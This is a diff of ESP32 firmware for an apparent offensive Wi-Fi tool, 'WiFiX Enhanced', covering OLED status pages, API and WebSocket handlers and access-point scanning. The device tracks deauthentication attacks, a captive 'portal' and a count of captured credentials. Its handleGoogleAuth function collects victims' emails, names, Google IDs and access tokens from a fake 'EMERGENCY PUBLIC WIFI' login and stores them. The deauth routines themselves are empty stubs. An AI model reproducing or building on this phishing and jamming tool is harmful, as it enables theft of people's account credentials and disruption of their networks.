||||
(int)(systemState.uptime / 3600),
|
||||
(int)((systemState.uptime % 3600) / 60));
|
||||
|
||||
// Status indicators
|
||||
display.setCursor(0, 56);
|
||||
display.print("BT:");
|
||||
display.print(systemState.bluetooth_enabled ? "ON" : "OFF");
|
||||
display.print(" LoRa:");
|
||||
display.print(systemState.lora_enabled ? "ON" : "OFF");
|
||||
}
|
||||
|
||||
void displayScanPage() {
|
||||
display.println("WiFi Scanner");
|
||||
display.println("============");
|
||||
display.printf("Total APs: %d\n", systemState.total_aps);
|
||||
display.printf("Scanning: %s\n", systemState.scanning ? "YES" : "NO");
|
||||
display.printf("Rate: %d pps\n", systemState.packets_per_second);
|
||||
|
||||
if (!accessPoints.empty()) {
|
||||
display.println("Latest APs:");
|
||||
int count = 0;
|
||||
for (auto it = accessPoints.rbegin(); it != accessPoints.rend() && count < 2; ++it, ++count) {
|
||||
display.printf("%s (%d)\n", it->ssid.c_str(), it->rssi);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void displayAttacksPage() {
|
||||
display.println("Active Attacks");
|
||||
display.println("==============");
|
||||
display.printf("Count: %d\n", systemState.active_attacks);
|
||||
|
||||
if (!activeAttacks.empty()) {
|
||||
for (size_t i = 0; i < min((size_t)3, activeAttacks.size()); i++) {
|
||||
unsigned long duration = (millis() - activeAttacks[i].start_time) / 1000;
|
||||
display.printf("%s %02d:%02d\n",
|
||||
activeAttacks[i].type.c_str(),
|
||||
(int)(duration / 60),
|
||||
(int)(duration % 60));
|
||||
}
|
||||
} else {
|
||||
display.println("No active attacks");
|
||||
}
|
||||
}
|
||||
|
||||
void displayProtocolsPage() {
|
||||
display.println("Protocols");
|
||||
display.println("=========");
|
||||
display.printf("WiFi: ON\n");
|
||||
display.printf("BT: %s\n", systemState.bluetooth_enabled ? "ON" : "OFF");
|
||||
display.printf("LoRa: %s\n", systemState.lora_enabled ? "ON" : "OFF");
|
||||
display.printf("Zigbee: %s\n", systemState.zigbee_enabled ? "ON" : "OFF");
|
||||
display.printf("AI Mode: %s\n", systemState.ai_mode.c_str());
|
||||
}
|
||||
|
||||
void displayStatsPage() {
|
||||
display.println("System Stats");
|
||||
display.println("============");
|
||||
display.printf("Free RAM: %d KB\n", ESP.getFreeHeap() / 1024);
|
||||
display.printf("CPU Freq: %d MHz\n", ESP.getCpuFreqMHz());
|
||||
display.printf("Flash: %d KB\n", ESP.getFlashChipSize() / 1024);
|
||||
display.printf("Temp: %d C\n", (int)temperatureRead());
|
||||
display.printf("OLED: %d%%\n", (systemState.oled_brightness * 100) / 255);
|
||||
}
|
||||
|
||||
// API Handlers
|
||||
void handleAPIStatus() {
|
||||
DynamicJsonDocument doc(1024);
|
||||
doc["scanning"] = systemState.scanning;
|
||||
doc["active_attacks"] = systemState.active_attacks;
|
||||
doc["total_aps"] = systemState.total_aps;
|
||||
doc["ai_confidence"] = systemState.ai_confidence;
|
||||
doc["uptime"] = systemState.uptime;
|
||||
doc["packets_per_second"] = systemState.packets_per_second;
|
||||
doc["free_memory"] = ESP.getFreeHeap() / 1024;
|
||||
// Portal info for UI
|
||||
doc["ap_ip"] = WiFi.softAPIP().toString();
|
||||
doc["target_ssid"] = ap_ssid;
|
||||
|
||||
String response;
|
||||
serializeJson(doc, response);
|
||||
server.send(200, "application/json", response);
|
||||
}
|
||||
|
||||
void handleAPICommand() {
|
||||
if (!server.hasArg("plain")) {
|
||||
server.send(400, "text/plain", "No body");
|
||||
return;
|
||||
}
|
||||
|
||||
DynamicJsonDocument doc(1024);
|
||||
deserializeJson(doc, server.arg("plain"));
|
||||
|
||||
handleWebSocketCommand(0, doc);
|
||||
server.send(200, "application/json", "{\"status\":\"ok\"}");
|
||||
}
|
||||
|
||||
void handleAPIScan() {
|
||||
// Implementation for scan API
|
||||
server.send(200, "application/json", "{\"status\":\"scan_started\"}");
|
||||
}
|
||||
|
||||
void handleAPIAttack() {
|
||||
// Implementation for attack API
|
||||
server.send(200, "application/json", "{\"status\":\"attack_started\"}");
|
||||
}
|
||||
|
||||
void handleAPIProtocols() {
|
||||
DynamicJsonDocument doc(512);
|
||||
doc["bluetooth"] = systemState.bluetooth_enabled;
|
||||
doc["lora"] = systemState.lora_enabled;
|
||||
doc["zigbee"] = systemState.zigbee_enabled;
|
||||
|
||||
String response;
|
||||
serializeJson(doc, response);
|
||||
server.send(200, "application/json", response);
|
||||
}
|
||||
|
||||
// Authentication handlers
|
||||
void handleGoogleAuth() {
|
||||
if (!server.hasArg("plain")) {
|
||||
server.send(400, "application/json", "{\"error\":\"No data provided\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
DynamicJsonDocument doc(1024);
|
||||
DeserializationError error = deserializeJson(doc, server.arg("plain"));
|
||||
|
||||
if (error) {
|
||||
server.send(400, "application/json", "{\"error\":\"Invalid JSON\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
// Extract Google authentication data
|
||||
String email = doc["email"].as<String>();
|
||||
String name = doc["name"].as<String>();
|
||||
String googleId = doc["googleId"].as<String>();
|
||||
String accessToken = doc["accessToken"].as<String>();
|
||||
|
||||
// Validate required fields
|
||||
if (email.isEmpty() || googleId.isEmpty()) {
|
||||
server.send(400, "application/json", "{\"error\":\"Missing required fields\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
// Store credentials using CredentialManager
|
||||
credentialManager.addGenericCredential(
|
||||
"EMERGENCY PUBLIC WIFI", // SSID
|
||||
email.c_str(),
|
||||
"", // No password for Google auth
|
||||
email.c_str()
|
||||
);
|
||||
|
||||
// Set authentication session
|
||||
systemState.authenticated = true;
|
||||
systemState.auth_email = email;
|
||||
systemState.auth_name = name;
|
||||
|
||||
// Return success response
|
||||
server.send(200, "application/json", "{\"success\":true,\"redirect\":\"/welcome\"}");
|
||||
Serial.println("Google authentication successful for: " + email);
|
||||
}
|
||||
|
||||
void handleAuthStatus() {
|
||||
DynamicJsonDocument doc(256);
|
||||
doc["authenticated"] = systemState.authenticated;
|
||||
doc["email"] = systemState.auth_email;
|
||||
doc["name"] = systemState.auth_name;
|
||||
|
||||
String response;
|
||||
serializeJson(doc, response);
|
||||
server.send(200, "application/json", response);
|
||||
}
|
||||
|
||||
void handleLogout() {
|
||||
systemState.authenticated = false;
|
||||
systemState.auth_email = "";
|
||||
systemState.auth_name = "";
|
||||
|
||||
server.send(200, "application/json", "{\"success\":true,\"redirect\":\"/\"}");
|
||||
Serial.println("User logged out");
|
||||
}
|
||||
|
||||
// Utility functions
|
||||
void broadcastMessage(String type, String data) {
|
||||
DynamicJsonDocument doc(512);
|
||||
doc["type"] = type;
|
||||
doc["data"] = data;
|
||||
|
||||
String message;
|
||||
serializeJson(doc, message);
|
||||
webSocket.broadcastTXT(message);
|
||||
}
|
||||
|
||||
void broadcastScanResults() {
|
||||
DynamicJsonDocument doc(4096);
|
||||
doc["type"] = "scan_result";
|
||||
|
||||
JsonArray aps = doc.createNestedArray("aps");
|
||||
for (const auto& ap : accessPoints) {
|
||||
JsonObject apObj = aps.createNestedObject();
|
||||
apObj["ssid"] = ap.ssid;
|
||||
apObj["bssid"] = ap.bssid;
|
||||
apObj["channel"] = ap.channel;
|
||||
apObj["rssi"] = ap.rssi;
|
||||
apObj["security"] = ap.security;
|
||||
apObj["band"] = ap.band;
|
||||
apObj["ai_score"] = ap.ai_score;
|
||||
}
|
||||
|
||||
String message;
|
||||
serializeJson(doc, message);
|
||||
webSocket.broadcastTXT(message);
|
||||
}
|
||||
|
||||
void broadcastSystemStats() {
|
||||
DynamicJsonDocument doc(1024);
|
||||
doc["type"] = "system_stats";
|
||||
|
||||
JsonObject stats = doc.createNestedObject("stats");
|
||||
stats["active_attacks"] = systemState.active_attacks;
|
||||
stats["ai_confidence"] = systemState.ai_confidence;
|
||||
stats["packets_per_second"] = systemState.packets_per_second;
|
||||
stats["free_memory"] = ESP.getFreeHeap() / 1024;
|
||||
stats["uptime"] = systemState.uptime;
|
||||
|
||||
String message;
|
||||
serializeJson(doc, message);
|
||||
webSocket.broadcastTXT(message);
|
||||
}
|
||||
|
||||
void broadcastAttackStatus() {
|
||||
DynamicJsonDocument doc(2048);
|
||||
doc["type"] = "attack_status";
|
||||
|
||||
JsonArray attacks = doc.createNestedArray("attacks");
|
||||
for (const auto& attack : activeAttacks) {
|
||||
JsonObject attackObj = attacks.createNestedObject();
|
||||
attackObj["id"] = attack.id;
|
||||
attackObj["type"] = attack.type;
|
||||
attackObj["target"] = attack.target;
|
||||
attackObj["duration"] = (millis() - attack.start_time) / 1000;
|
||||
attackObj["packets_sent"] = attack.packets_sent;
|
||||
}
|
||||
|
||||
String message;
|
||||
serializeJson(doc, message);
|
||||
webSocket.broadcastTXT(message);
|
||||
}
|
||||
|
||||
void sendSystemStatus(uint8_t clientNum) {
|
||||
broadcastScanResults();
|
||||
broadcastSystemStats();
|
||||
broadcastAttackStatus();
|
||||
}
|
||||
|
||||
String getSecurityString(wifi_auth_mode_t encryptionType) {
|
||||
switch (encryptionType) {
|
||||
case WIFI_AUTH_OPEN: return "Open";
|
||||
case WIFI_AUTH_WEP: return "WEP";
|
||||
case WIFI_AUTH_WPA_PSK: return "WPA";
|
||||
case WIFI_AUTH_WPA2_PSK: return "WPA2";
|
||||
case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2";
|
||||
case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Enterprise";
|
||||
case WIFI_AUTH_WPA3_PSK: return "WPA3";
|
||||
default: return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate or update AP list by BSSID
|
||||
void upsertAccessPoint(const AccessPoint& ap) {
|
||||
for (auto& existing : accessPoints) {
|
||||
if (existing.bssid == ap.bssid) {
|
||||
// Update latest info, keep AI score/flags
|
||||
existing.ssid = ap.ssid;
|
||||
existing.channel = ap.channel;
|
||||
existing.rssi = ap.rssi;
|
||||
existing.security = ap.security;
|
||||
existing.band = ap.band;
|
||||
return;
|
||||
}
|
||||
}
|
||||
accessPoints.push_back(ap);
|
||||
}
|
||||
|
||||
AccessPoint* findAccessPoint(String bssid) {
|
||||
for (auto& ap : accessPoints) {
|
||||
if (ap.bssid == bssid) {
|
||||
return ≈
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
void setOLEDBrightness(int brightness) {
|
||||
systemState.oled_brightness = constrain(brightness, 0, 255);
|
||||
// Note: SSD1306 doesn't have brightness control, but we store the value
|
||||
}
|
||||
|
||||
void setAIMode(String mode) {
|
||||
systemState.ai_mode = mode;
|
||||
}
|
||||
|
||||
void handle24GHzAttack(String type, String bssid) {
|
||||
// Implementation for 2.4GHz attacks on ESP32
|
||||
// This would include deauth, beacon flood, etc.
|
||||
}
|
||||
|
||||
void handleProtocols() {
|
||||
// Handle Bluetooth operations
|
||||
if (systemState.bluetooth_enabled && SerialBT.available()) {
|
||||
String btData = SerialBT.readString();
|
||||
// Process Bluetooth data
|
||||
}
|
||||
|
||||
// Handle LoRa operations
|
||||
if (systemState.lora_enabled) {
|
||||
int packetSize = LoRa.parsePacket();
|
||||
if (packetSize) {
|
||||
String loraData = "";
|
||||
while (LoRa.available()) {
|
||||
loraData += (char)LoRa.read();
|
||||
}
|
||||
// Process LoRa data
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void processAIAnalysis() {
|
||||
// Continuous AI processing during scanning
|
||||
static unsigned long lastAIUpdate = 0;
|
||||
if (millis() - lastAIUpdate > 5000) {
|
||||
runAIAnalysis();
|
||||
lastAIUpdate = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void parseAttackStatus(String data) {
|
||||
// Parse attack status updates from BW16
|
||||
}
|
||||
|
||||
void parseStatsData(String data) {
|
||||
// Parse statistics data from BW16
|
||||
}
|
||||
631
WiFiX-Enhanced/src/oled_display.cpp
Normal file
631
WiFiX-Enhanced/src/oled_display.cpp
Normal file
@@ -0,0 +1,631 @@
|
||||
#include "oled_display.h"
|
||||
|
||||
// Global instance
|
||||
OLEDDisplay oledDisplay;
|
||||
|
||||
// Icon definitions (8x8 bitmaps)
|
||||
const unsigned char PROGMEM icon_wifi_connected[] = {
|
||||
0x00, 0x0E, 0x11, 0x04, 0x0A, 0x00, 0x04, 0x00
|
||||
};
|
||||
|
||||
const unsigned char PROGMEM icon_wifi_disconnected[] = {
|
||||
0x00, 0x0E, 0x11, 0x04, 0x0A, 0x11, 0x04, 0x11
|
||||
};
|
||||
|
||||
const unsigned char PROGMEM icon_bluetooth[] = {
|
||||
0x04, 0x06, 0x15, 0x0E, 0x0E, 0x15, 0x06, 0x04
|
||||
};
|
||||
|
||||
const unsigned char PROGMEM icon_lora[] = {
|
||||
0x00, 0x08, 0x14, 0x2A, 0x14, 0x08, 0x00, 0x00
|
||||
};
|
||||
|
||||
const unsigned char PROGMEM icon_zigbee[] = {
|
||||
0x00, 0x1C, 0x14, 0x1C, 0x14, 0x1C, 0x00, 0x00
|
||||
};
|
||||
|
||||
const unsigned char PROGMEM icon_attack[] = {
|
||||
0x08, 0x1C, 0x2A, 0x49, 0x2A, 0x1C, 0x08, 0x00
|
||||
};
|
||||
|
||||
const unsigned char PROGMEM icon_shield[] = {
|
||||
0x08, 0x14, 0x22, 0x41, 0x41, 0x22, 0x14, 0x08
|
||||
};
|
||||
|
||||
const unsigned char PROGMEM icon_warning[] = {
|
||||
0x08, 0x14, 0x14, 0x22, 0x22, 0x00, 0x08, 0x00
|
||||
};
|
||||
|
||||
const unsigned char PROGMEM icon_success[] = {
|
||||
0x00, 0x01, 0x02, 0x44, 0x28, 0x10, 0x00, 0x00
|
||||
};
|
||||
|
||||
const unsigned char PROGMEM icon_error[] = {
|
||||
0x41, 0x22, 0x14, 0x08, 0x14, 0x22, 0x41, 0x00
|
||||
};
|
||||
|
||||
OLEDDisplay::OLEDDisplay() {
|
||||
display = nullptr;
|
||||
current_page = PAGE_BOOT;
|
||||
last_update = 0;
|
||||
page_switch_time = 0;
|
||||
auto_rotate = true;
|
||||
brightness = 255;
|
||||
display_enabled = true;
|
||||
animation_frame = 0;
|
||||
last_animation = 0;
|
||||
blink_state = false;
|
||||
|
||||
// Initialize status structures
|
||||
memset(&system_status, 0, sizeof(system_status));
|
||||
memset(&attack_info, 0, sizeof(attack_info));
|
||||
memset(&network_info, 0, sizeof(network_info));
|
||||
|
||||
attack_info.status = ATTACK_IDLE;
|
||||
}
|
||||
|
||||
OLEDDisplay::~OLEDDisplay() {
|
||||
if (display) {
|
||||
delete display;
|
||||
}
|
||||
}
|
||||
|
||||
bool OLEDDisplay::begin(uint8_t i2c_address) {
|
||||
OLED_LOG("Initializing OLED display...");
|
||||
|
||||
// Initialize I2C
|
||||
Wire.begin();
|
||||
|
||||
// Create display object
|
||||
display = new Adafruit_SSD1306(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
|
||||
|
||||
if (!display->begin(SSD1306_SWITCHCAPVCC, i2c_address)) {
|
||||
OLED_LOG("Failed to initialize SSD1306 display");
|
||||
delete display;
|
||||
display = nullptr;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Configure display
|
||||
display->clearDisplay();
|
||||
display->setTextSize(1);
|
||||
display->setTextColor(SSD1306_WHITE);
|
||||
display->setCursor(0, 0);
|
||||
|
||||
setBrightness(brightness);
|
||||
|
||||
// Show boot screen
|
||||
setPage(PAGE_BOOT);
|
||||
update();
|
||||
|
||||
OLED_LOG("OLED display initialized successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
void OLEDDisplay::setBrightness(uint8_t new_brightness) {
|
||||
brightness = new_brightness;
|
||||
if (display) {
|
||||
display->ssd1306_command(SSD1306_SETCONTRAST);
|
||||
display->ssd1306_command(brightness);
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::setAutoRotate(bool enable) {
|
||||
auto_rotate = enable;
|
||||
if (enable) {
|
||||
page_switch_time = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::enable(bool enabled) {
|
||||
display_enabled = enabled;
|
||||
if (display) {
|
||||
if (enabled) {
|
||||
display->ssd1306_command(SSD1306_DISPLAYON);
|
||||
} else {
|
||||
display->ssd1306_command(SSD1306_DISPLAYOFF);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::setPage(DisplayPage page) {
|
||||
if (page >= PAGE_COUNT) return;
|
||||
|
||||
current_page = page;
|
||||
page_switch_time = millis();
|
||||
|
||||
if (display) {
|
||||
display->clearDisplay();
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::nextPage() {
|
||||
DisplayPage next = (DisplayPage)((current_page + 1) % PAGE_COUNT);
|
||||
setPage(next);
|
||||
}
|
||||
|
||||
void OLEDDisplay::previousPage() {
|
||||
DisplayPage prev = (DisplayPage)((current_page - 1 + PAGE_COUNT) % PAGE_COUNT);
|
||||
setPage(prev);
|
||||
}
|
||||
|
||||
void OLEDDisplay::updateSystemStatus(const SystemStatus& status) {
|
||||
system_status = status;
|
||||
}
|
||||
|
||||
void OLEDDisplay::updateAttackInfo(const AttackInfo& info) {
|
||||
attack_info = info;
|
||||
}
|
||||
|
||||
void OLEDDisplay::updateNetworkInfo(const NetworkInfo& info) {
|
||||
network_info = info;
|
||||
}
|
||||
|
||||
void OLEDDisplay::setAttackStatus(AttackStatus status, const String& target) {
|
||||
attack_info.status = status;
|
||||
if (!target.isEmpty()) {
|
||||
attack_info.target_ssid = target;
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::setCredentialCount(uint32_t count) {
|
||||
attack_info.credentials_captured = count;
|
||||
}
|
||||
|
||||
void OLEDDisplay::setError(const String& error) {
|
||||
attack_info.last_error = error;
|
||||
setPage(PAGE_ERROR);
|
||||
}
|
||||
|
||||
void OLEDDisplay::clearError() {
|
||||
attack_info.last_error = "";
|
||||
if (current_page == PAGE_ERROR) {
|
||||
setPage(PAGE_MAIN_STATUS);
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::update() {
|
||||
if (!display || !display_enabled) return;
|
||||
|
||||
uint32_t now = millis();
|
||||
|
||||
// Update animations
|
||||
if (now - last_animation >= ANIMATION_UPDATE_INTERVAL) {
|
||||
updateAnimations();
|
||||
last_animation = now;
|
||||
}
|
||||
|
||||
// Auto-rotate pages
|
||||
if (auto_rotate && now - page_switch_time >= PAGE_AUTO_SWITCH_INTERVAL) {
|
||||
nextPage();
|
||||
}
|
||||
|
||||
// Update display content
|
||||
if (now - last_update >= DISPLAY_UPDATE_INTERVAL) {
|
||||
display->clearDisplay();
|
||||
|
||||
switch (current_page) {
|
||||
case PAGE_BOOT:
|
||||
drawBootScreen();
|
||||
break;
|
||||
case PAGE_MAIN_STATUS:
|
||||
drawMainStatus();
|
||||
break;
|
||||
case PAGE_ATTACK_STATUS:
|
||||
drawAttackStatus();
|
||||
break;
|
||||
case PAGE_CREDENTIAL_COUNT:
|
||||
drawCredentialCount();
|
||||
break;
|
||||
case PAGE_NETWORK_INFO:
|
||||
drawNetworkInfo();
|
||||
break;
|
||||
case PAGE_SYSTEM_INFO:
|
||||
drawSystemInfo();
|
||||
break;
|
||||
case PAGE_ERROR:
|
||||
drawErrorScreen();
|
||||
break;
|
||||
}
|
||||
|
||||
display->display();
|
||||
last_update = now;
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::clear() {
|
||||
if (display) {
|
||||
display->clearDisplay();
|
||||
display->display();
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::showMessage(const String& message, uint32_t duration_ms) {
|
||||
if (!display) return;
|
||||
|
||||
display->clearDisplay();
|
||||
drawHeader("MESSAGE");
|
||||
|
||||
display->setTextSize(1);
|
||||
drawWrappedText(message, 0, 16, SCREEN_WIDTH);
|
||||
|
||||
display->display();
|
||||
delay(duration_ms);
|
||||
}
|
||||
|
||||
void OLEDDisplay::showProgress(const String& message, float progress) {
|
||||
if (!display) return;
|
||||
|
||||
display->clearDisplay();
|
||||
drawHeader("PROGRESS");
|
||||
|
||||
display->setTextSize(1);
|
||||
display->setCursor(0, 16);
|
||||
display->println(message);
|
||||
|
||||
drawProgressBar(0, 32, SCREEN_WIDTH, 8, progress);
|
||||
|
||||
display->setCursor(0, 48);
|
||||
display->printf("%.1f%%", progress * 100.0f);
|
||||
|
||||
display->display();
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawBootScreen() {
|
||||
drawHeader("WiFiX Enhanced");
|
||||
|
||||
display->setTextSize(1);
|
||||
display->setCursor(0, 16);
|
||||
display->println("Initializing...");
|
||||
|
||||
// Draw loading animation
|
||||
drawLoadingAnimation(SCREEN_WIDTH - 16, 16);
|
||||
|
||||
display->setCursor(0, 32);
|
||||
display->println("ESP32: " + String(system_status.esp32_online ? "OK" : "..."));
|
||||
display->println("BW16: " + String(system_status.bw16_online ? "OK" : "..."));
|
||||
display->println("AI: " + String(system_status.ai_online ? "OK" : "..."));
|
||||
|
||||
drawFooter();
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawMainStatus() {
|
||||
drawHeader("MAIN STATUS");
|
||||
|
||||
// System status icons
|
||||
int icon_y = 16;
|
||||
drawStatusIcon(0, icon_y, system_status.esp32_online, "E");
|
||||
drawStatusIcon(16, icon_y, system_status.bw16_online, "B");
|
||||
drawStatusIcon(32, icon_y, system_status.ai_online, "A");
|
||||
drawWiFiIcon(48, icon_y, system_status.wifi_connected);
|
||||
|
||||
if (system_status.wifi_connected) {
|
||||
drawSignalBars(64, icon_y, system_status.wifi_signal);
|
||||
}
|
||||
|
||||
// Attack status
|
||||
display->setTextSize(1);
|
||||
display->setCursor(0, 32);
|
||||
|
||||
switch (attack_info.status) {
|
||||
case ATTACK_IDLE:
|
||||
display->println("Status: IDLE");
|
||||
break;
|
||||
case ATTACK_SCANNING:
|
||||
display->println("Status: SCANNING");
|
||||
drawLoadingAnimation(SCREEN_WIDTH - 16, 32);
|
||||
break;
|
||||
case ATTACK_DEAUTH_ACTIVE:
|
||||
display->println("Status: DEAUTH");
|
||||
drawPulseAnimation(SCREEN_WIDTH - 16, 32, 6);
|
||||
break;
|
||||
case ATTACK_PORTAL_ACTIVE:
|
||||
display->println("Status: PORTAL");
|
||||
break;
|
||||
case ATTACK_SUCCESS:
|
||||
display->println("Status: SUCCESS");
|
||||
break;
|
||||
case ATTACK_FAILED:
|
||||
display->println("Status: FAILED");
|
||||
break;
|
||||
}
|
||||
|
||||
display->printf("Creds: %d", attack_info.credentials_captured);
|
||||
|
||||
drawFooter();
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawAttackStatus() {
|
||||
drawHeader("ATTACK STATUS");
|
||||
|
||||
display->setTextSize(1);
|
||||
display->setCursor(0, 16);
|
||||
|
||||
if (!attack_info.target_ssid.isEmpty()) {
|
||||
display->println("Target:");
|
||||
display->println(truncateString(attack_info.target_ssid, 16));
|
||||
display->println();
|
||||
}
|
||||
|
||||
display->printf("Deauth: %d\n", attack_info.deauth_packets_sent);
|
||||
display->printf("Connects: %d\n", attack_info.portal_connections);
|
||||
display->printf("Duration: %s\n", formatDuration(attack_info.attack_duration).c_str());
|
||||
|
||||
drawFooter();
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawCredentialCount() {
|
||||
drawHeader("CREDENTIALS");
|
||||
|
||||
// Large credential count
|
||||
display->setTextSize(3);
|
||||
String count_str = String(attack_info.credentials_captured);
|
||||
int text_width = count_str.length() * 18; // Approximate width
|
||||
int x = (SCREEN_WIDTH - text_width) / 2;
|
||||
display->setCursor(x, 20);
|
||||
display->println(count_str);
|
||||
|
||||
// Additional info
|
||||
display->setTextSize(1);
|
||||
display->setCursor(0, 48);
|
||||
display->printf("Success: %.1f%%", attack_info.success_rate);
|
||||
|
||||
drawFooter();
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawNetworkInfo() {
|
||||
drawHeader("NETWORK INFO");
|
||||
|
||||
display->setTextSize(1);
|
||||
display->setCursor(0, 16);
|
||||
|
||||
if (!network_info.ap_ssid.isEmpty()) {
|
||||
display->println("AP: " + truncateString(network_info.ap_ssid, 12));
|
||||
display->println("IP: " + network_info.ap_ip.toString());
|
||||
display->printf("Clients: %d\n", network_info.connected_clients);
|
||||
}
|
||||
|
||||
if (!network_info.sta_ssid.isEmpty()) {
|
||||
display->println("STA: " + truncateString(network_info.sta_ssid, 12));
|
||||
}
|
||||
|
||||
display->printf("Nearby: %d", network_info.nearby_networks);
|
||||
|
||||
drawFooter();
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawSystemInfo() {
|
||||
drawHeader("SYSTEM INFO");
|
||||
|
||||
display->setTextSize(1);
|
||||
display->setCursor(0, 16);
|
||||
|
||||
display->println("Uptime: " + formatUptime(system_status.uptime));
|
||||
display->println("Memory: " + formatMemory(system_status.free_memory));
|
||||
display->printf("CPU: %.1f%%\n", system_status.cpu_usage);
|
||||
display->printf("Temp: %dC", system_status.temperature);
|
||||
|
||||
drawFooter();
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawErrorScreen() {
|
||||
drawHeader("ERROR");
|
||||
|
||||
// Error icon
|
||||
display->drawBitmap(SCREEN_WIDTH/2 - 4, 16, icon_error, 8, 8, SSD1306_WHITE);
|
||||
|
||||
display->setTextSize(1);
|
||||
drawWrappedText(attack_info.last_error, 0, 32, SCREEN_WIDTH);
|
||||
|
||||
drawFooter();
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawHeader(const char* title) {
|
||||
display->setTextSize(1);
|
||||
display->setCursor(0, 0);
|
||||
display->println(title);
|
||||
display->drawLine(0, 8, SCREEN_WIDTH, 8, SSD1306_WHITE);
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawFooter() {
|
||||
display->drawLine(0, SCREEN_HEIGHT - 10, SCREEN_WIDTH, SCREEN_HEIGHT - 10, SSD1306_WHITE);
|
||||
|
||||
display->setTextSize(1);
|
||||
display->setCursor(0, SCREEN_HEIGHT - 8);
|
||||
|
||||
// Page indicator
|
||||
display->printf("%d/%d", current_page + 1, PAGE_COUNT);
|
||||
|
||||
// Time or other info
|
||||
String uptime = formatUptime(system_status.uptime);
|
||||
int text_width = uptime.length() * 6;
|
||||
display->setCursor(SCREEN_WIDTH - text_width, SCREEN_HEIGHT - 8);
|
||||
display->print(uptime);
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawProgressBar(int x, int y, int width, int height, float progress) {
|
||||
// Border
|
||||
display->drawRect(x, y, width, height, SSD1306_WHITE);
|
||||
|
||||
// Fill
|
||||
int fill_width = (int)(progress * (width - 2));
|
||||
if (fill_width > 0) {
|
||||
display->fillRect(x + 1, y + 1, fill_width, height - 2, SSD1306_WHITE);
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawSignalBars(int x, int y, uint8_t signal_strength) {
|
||||
int bars = map(signal_strength, 0, 100, 0, 4);
|
||||
|
||||
for (int i = 0; i < 4; i++) {
|
||||
int bar_height = (i + 1) * 2;
|
||||
if (i < bars) {
|
||||
display->fillRect(x + i * 3, y + 8 - bar_height, 2, bar_height, SSD1306_WHITE);
|
||||
} else {
|
||||
display->drawRect(x + i * 3, y + 8 - bar_height, 2, bar_height, SSD1306_WHITE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawBattery(int x, int y, uint8_t level) {
|
||||
// Battery outline
|
||||
display->drawRect(x, y, 12, 6, SSD1306_WHITE);
|
||||
display->drawRect(x + 12, y + 1, 2, 4, SSD1306_WHITE);
|
||||
|
||||
// Battery fill
|
||||
int fill_width = map(level, 0, 100, 0, 10);
|
||||
if (fill_width > 0) {
|
||||
display->fillRect(x + 1, y + 1, fill_width, 4, SSD1306_WHITE);
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawWiFiIcon(int x, int y, bool connected) {
|
||||
if (connected) {
|
||||
display->drawBitmap(x, y, icon_wifi_connected, 8, 8, SSD1306_WHITE);
|
||||
} else {
|
||||
display->drawBitmap(x, y, icon_wifi_disconnected, 8, 8, SSD1306_WHITE);
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawStatusIcon(int x, int y, bool status, const char* icon) {
|
||||
display->setTextSize(1);
|
||||
display->setCursor(x, y);
|
||||
|
||||
if (status) {
|
||||
display->setTextColor(SSD1306_WHITE);
|
||||
} else {
|
||||
// Draw inverted for offline status
|
||||
display->fillRect(x, y, 8, 8, SSD1306_WHITE);
|
||||
display->setTextColor(SSD1306_BLACK);
|
||||
}
|
||||
|
||||
display->print(icon);
|
||||
display->setTextColor(SSD1306_WHITE); // Reset color
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawScrollingText(int x, int y, const String& text, int max_width) {
|
||||
int text_width = text.length() * 6;
|
||||
|
||||
if (text_width <= max_width) {
|
||||
display->setCursor(x, y);
|
||||
display->print(text);
|
||||
} else {
|
||||
// Implement scrolling logic
|
||||
static int scroll_offset = 0;
|
||||
static uint32_t last_scroll = 0;
|
||||
|
||||
if (millis() - last_scroll > 200) {
|
||||
scroll_offset = (scroll_offset + 1) % (text_width + max_width);
|
||||
last_scroll = millis();
|
||||
}
|
||||
|
||||
display->setCursor(x - scroll_offset, y);
|
||||
display->print(text);
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::updateAnimations() {
|
||||
animation_frame = (animation_frame + 1) % 8;
|
||||
blink_state = !blink_state;
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawLoadingAnimation(int x, int y) {
|
||||
const char* frames[] = {"|", "/", "-", "\\", "|", "/", "-", "\\"};
|
||||
display->setCursor(x, y);
|
||||
display->print(frames[animation_frame]);
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawPulseAnimation(int x, int y, int radius) {
|
||||
int pulse_radius = radius + (animation_frame % 4);
|
||||
